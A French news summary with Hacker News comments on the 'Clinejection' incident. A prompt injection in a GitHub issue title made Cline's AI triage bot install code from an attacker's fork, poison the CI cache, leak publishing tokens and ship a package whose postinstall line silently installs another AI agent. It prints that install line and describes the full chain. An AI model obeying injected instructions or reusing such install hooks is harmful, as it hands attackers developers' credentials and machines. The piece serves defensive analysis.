- Une prompt injection insérée dans le titre a permis d’injecter des commandes via le bot de tri d’issues basé sur l’IA de Cline
- Vol de tokens npm puis diffusion d’un Cline malveillant installant sans autorisation l’agent IA OpenClaw
- Les attaquants ont construit une chaîne en 5 étapes : prompt injection → exécution de code arbitraire par le bot IA → empoisonnement du cache → vol d’identifiants → publication d’un package malveillant
- Les contrôles de sécurité existants (revue de code, npm audit, provenance attestations) n’ont pas détecté cette attaque
- Un chercheur en sécurité a découvert et signalé la faille fin décembre 2025, mais n’a reçu aucune réponse pendant 5 semaines ; après la divulgation publique, une erreur dans la rotation des identifiants a permis l’exécution de l’attaque
- Un nouveau schéma de menace de supply chain est apparu, où un agent IA en installe un autre, ce qui souligne les risques de l’automatisation par IA dans les environnements CI/CD
Vue d’ensemble de l’attaque
- Le 17 février 2026,
cline@2.3.0 a été publié sur npm ; le binaire était identique aux versions précédentes, mais une ligne avait été ajoutée à package.json : "postinstall": "npm install -g openclaw@latest"
- En conséquence, OpenClaw a été automatiquement installé chez environ 4 000 développeurs ayant installé ou mis à jour Cline pendant les 8 heures suivantes
- OpenClaw est un agent IA distinct disposant d’un accès complet au système, installé globalement sans le consentement de l’utilisateur
Chaîne d’attaque (Clinejection)
- Étape 1 : prompt injection
- Cline utilisait un workflow de tri d’issues par IA reposant sur
claude-code-action d’Anthropic
- Avec le paramètre
allowed_non_write_users: "*", n’importe qui pouvait ouvrir une issue et déclencher le bot
- Le 28 janvier, l’attaquant a créé l’Issue #8904, dont le titre, ressemblant à un rapport de performance, cachait une instruction demandant « d’installer un package spécifique »
- Étape 2 : exécution de commandes par le bot IA
- Claude a interprété cette instruction comme légitime et a exécuté
npm install depuis le fork de l’attaquant (glthub-actions/cline)
- Le
package.json de ce fork contenait un script preinstall lançant un script shell distant
- Étape 3 : empoisonnement du cache (Cache Poisoning)
- Le script a déployé Cacheract, qui empoisonne le cache GitHub Actions
- Plus de 10 Go de données ont été injectés pour évincer le cache légitime et falsifier la clé de cache utilisée par le workflow de release nightly de Cline
- Étape 4 : vol d’identifiants
- Lorsque le workflow de release a restauré
node_modules depuis le cache empoisonné, NPM_RELEASE_TOKEN, VSCE_PAT et OVSX_PAT ont été exfiltrés
- Étape 5 : diffusion du package malveillant
- Les attaquants ont publié
cline@2.3.0 à l’aide du token npm volé
- La surveillance de StepSecurity a détecté une anomalie 14 minutes plus tard, et le package a été retiré 8 heures après
Échec de la réponse et suites
- Le chercheur en sécurité Adnan Khan a découvert la faille en décembre 2025 et l’a signalée le 1er janvier 2026 via GitHub Security Advisory, sans recevoir de réponse pendant 5 semaines
- Après une divulgation publique de Khan le 9 février, Cline a supprimé et corrigé le workflow de tri IA en 30 minutes
- Le lendemain, l’équipe a commencé la rotation des identifiants mais a supprimé les mauvais tokens, laissant les tokens exposés toujours actifs
- L’erreur a été détectée et corrigée le 11 février, mais l’attaquant avait déjà récupéré les identifiants
- Le token npm est resté suffisamment valide pendant 6 jours pour permettre la publication du package malveillant
- Khan n’est pas l’attaquant — un acteur inconnu distinct a trouvé la preuve de concept dans le dépôt de test de Khan et l’a directement militarisée contre Cline
Un nouveau schéma où l’IA installe l’IA
- Dans cet incident, un outil IA a installé un autre agent IA, créant un problème récursif de confiance dans la supply chain
- Le développeur fait confiance à l’outil A (Cline) → l’outil A est compromis et installe l’outil B (OpenClaw)
→ l’outil B possède ses propres capacités indépendantes de l’outil A (exécution de shell, accès aux identifiants, installation d’un daemon persistant), invisibles dans la décision de confiance initiale du développeur
- OpenClaw peut lire les identifiants dans
~/.openclaw/, exécuter des commandes shell via la Gateway API et s’auto-installer comme daemon système persistant survivant aux redémarrages
- Endor Labs a qualifié cela de charge utile de niveau preuve de concept, mais l’important est le mécanisme lui-même ; la prochaine charge utile ne sera peut-être pas un PoC
- Il s’agit d’une version supply chain du problème du « Confused Deputy », où des privilèges accordés par le développeur ont été délégués à un troisième agent
- Le développeur délègue des privilèges à Cline, puis Cline les délègue (via sa compromission) à un agent entièrement distinct que le développeur n’a jamais évalué, configuré ou approuvé
Pourquoi les contrôles de sécurité existants ont échoué
- npm audit : le script
postinstall installait un package légitime et non malveillant (OpenClaw), donc aucun malware à détecter
- Revue de code : le binaire CLI était identique octet pour octet à la version précédente ; seule une ligne de
package.json a changé, ce qui échappait aux vérifications automatiques de diff centrées sur les modifications de binaire
- Provenance attestation : Cline n’utilisait alors pas la provenance npm basée sur OIDC, ce qui permettait à un token compromis de publier sans métadonnées de provenance
- StepSecurity l’a signalé comme anormal
- Demandes d’autorisation : l’installation se produisait dans un hook
postinstall pendant npm install, et aucun outil de codage IA ne demande confirmation à l’utilisateur avant d’exécuter les scripts de cycle de vie d’une dépendance ; la manipulation est donc restée invisible
- L’attaque a exploité l’écart entre ce que le développeur pense installer (une version donnée de Cline) et ce qui est réellement exécuté (scripts de cycle de vie arbitraires du package et installations transitives)
Réponse post-incident de Cline
- Mesures d’amélioration publiées dans le post mortem
- Suppression de l’usage du cache GitHub Actions dans les workflows manipulant des identifiants
- Adoption de la provenance attestation OIDC pour les publications npm, avec suppression des tokens longue durée
- Ajout d’exigences de vérification pour la rotation des identifiants
- Lancement des travaux sur un processus officiel de divulgation de vulnérabilités avec SLA
- Commande d’un audit de sécurité tiers de l’infrastructure CI/CD
- À elle seule, la migration vers OIDC aurait pu empêcher cette attaque
- Avec un schéma de provenance exigeant une preuve cryptographique issue d’un workflow GitHub Actions spécifique, les tokens volés n’auraient pas pu publier de package
Problème structurel et enseignements
- Clinejection est à la fois une attaque de supply chain et un problème de sécurité des agents
- Le point d’entrée de l’attaque était une entrée en langage naturel dans le titre d’une issue GitHub, que le bot IA a exécutée comme une commande
- La structure est la même que pour une pollution d’outils MCP ou une attaque du registre de compétences d’agents
- Une entrée non fiable atteint l’agent → l’agent agit → personne n’évalue l’action résultante avant son exécution
- Ici, l’agent n’était pas un assistant de codage local, mais un workflow CI automatisé s’exécutant sur chaque nouvelle issue, avec accès au shell et à des identifiants en cache
- Le rayon d’impact n’était pas la machine d’un seul développeur, mais l’ensemble du pipeline de déploiement du projet
- Toutes les équipes qui déploient des agents IA en CI/CD (tri d’issues, revue de code, tests automatiques, etc.) sont exposées de la même manière
- Elles doivent reconnaître le risque lié à la combinaison d’entrées non fiables et d’accès aux secrets
- L’agent peut traiter des entrées non fiables (issues, PR, commentaires) tout en ayant accès à des secrets (tokens, clés, identifiants)
- Une interception au niveau des appels système pourrait bloquer ce type d’attaque au niveau opérationnel :
- si un bot de tri IA tente d’exécuter
npm install depuis un dépôt inattendu, l’action peut être évaluée selon une politique, indépendamment du contenu du titre de l’issue ; et si des scripts de cycle de vie essaient d’exfiltrer des identifiants vers des hôtes externes, la sortie réseau peut être bloquée
3 commentaires
Après s’être fait autant frapper, il faudrait au moins qu’on prenne conscience qu’il faut accorder davantage d’attention à la sécurité lorsqu’on utilise des LLM ou des agents..
On va sans doute voir des incidents exploser à cause des injections de prompts pendant un bon moment.
Ces derniers temps, des incidents similaires se produisent sans arrêt avec les packages npm.
Commentaires sur Hacker News
Le workflow de triage des issues de Cline s’exécutait sur l’événement
issueset était configuré avecallowed_non_write_users: "*"Autrement dit, n’importe qui pouvait déclencher GitHub Actions simplement en ouvrant une issue, et grâce à l’option
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch", Claude obtenait un droit d’exécution de code arbitraire dans le workflow de la branche principaleFaire tourner un agent IA avec une configuration pareille semble tout simplement insensé
Certains vont même jusqu’à vouloir lire automatiquement les mentions de l’entreprise sur les réseaux sociaux pour générer des rapports de bug
J’aide à définir la politique IA dans mon entreprise, et lors d’un test où nous avons demandé à Claude de traiter un e-mail menaçant, il a tenté d’exporter telles quelles toutes les informations des tickets de sécurité
Heureusement, la fonction d’envoi de mails était désactivée, donc rien n’a été réellement envoyé
Ce genre d’automatisation IA sans protection me rappelle le chaos des injections SQL à l’époque. J’ai l’impression qu’il faudra que beaucoup de gens se brûlent pour que de vraies protections soient mises en place
L’article aurait dû insister davantage sur le fait que le déclencheur
issuesde GitHub est presque aussi dangereux que le tristement célèbrepull_request_targetDès qu’une entrée utilisateur arrive dans un workflow, elle doit être considérée comme du code d’attaque potentiel
Avant, on séparait le CI avec Travis et l’automatisation avec Zapier, mais GitHub Actions regroupe tout au même endroit avec beaucoup trop de privilèges
Zapier n’exécute pas de binaires arbitraires, donc le risque de compromission y était bien plus faible
Il n’existe toujours aucune méthode parfaitement sûre pour la validation des entrées
Il y a déjà eu des cas où un LLM a exécuté des commandes encodées en base64 (lien d’exemple)
En fin de compte, toute entrée doit être traitée comme une donnée hostile. Comme les LLM peuvent aussi « halluciner » leurs propres actions, il ne faut jamais leur donner accès à des systèmes de production
Par défaut, aucun workflow ne devrait inclure d’identifiants, et il devrait être limité uniquement aux événements émis par des utilisateurs privilégiés, comme les mainteneurs
Cela dit, Zapier est traité comme un service boîte noire, donc la responsabilité de la sécurité repose entièrement de leur côté
À l’inverse, GHA fonctionne sur un modèle de responsabilité partagée entre GitHub et l’utilisateur, ce qui complique davantage les choses
Cela reste malgré tout bien plus flexible que Zapier, et la plupart des utilisateurs finissent de toute façon par exécuter du code arbitraire via Lambda ou des webhooks
Le titre de l’issue en question était le suivant
Or,
github:cline/cline#b181e0pointait en réalité vers un dépôt forké contenant un script postinstall malveillantLien vers le commit en question
Jusqu’à il y a quelques minutes, je pensais moi aussi que
github:cline/clinedésignait forcément le même dépôtJe me demande si npm pourrait atténuer cela d’une manière ou d’une autre via son intégration à GitHub
Le titre de l’issue a été inséré tel quel dans le prompt de Claude via
${{ github.event.issue.title }}, sans assainissement de l’entrée, et c’est là que se situait le problèmeMais comme Claude cherche à « comprendre gentiment » les demandes formulées dans un prompt, un simple assainissement n’aurait sans doute pas suffi
Toutes les commandes npm devraient impérativement être exécutées dans un environnement sandboxé
En voyant se multiplier ce type de vecteurs d’attaque, j’ai moi-même créé amazing-sandbox
Tous les développeurs ayant installé ou mis à jour Cline pendant 8 heures ont installé sur l’ensemble de leur système un autre agent IA appelé OpenClaw
Exception faite de ceux qui utilisaient
ignore-scripts=truedans la configuration npmLe post-mortem de Cline résume bien les faits
Cela dit, considérer OpenClaw comme une « charge utile inoffensive » ou comme un cheval de Troie dépend du point de vue
Personne ne fera sans doute jamais une confiance totale à l’IA ou aux outils d’IA
Ce genre d’incident le rappelle une nouvelle fois avec force
En cherchant un peu, j’ai vu des articles qui décrivaient OpenClaw comme un « agent IA viral »
Autrefois, on aurait considéré qu’installer un tel logiciel suffisait déjà à qualifier le système de compromis
Le vrai problème, c’est qu’un code doté de privilèges arbitraires exécute des entrées non fiables, et ici cela est presque présenté comme la proposition de valeur centrale du produit
Il est étonnant que les entreprises d’IA ne voient toujours pas la similarité entre injection SQL et injection de prompt
Les prompts ont besoin des mêmes protections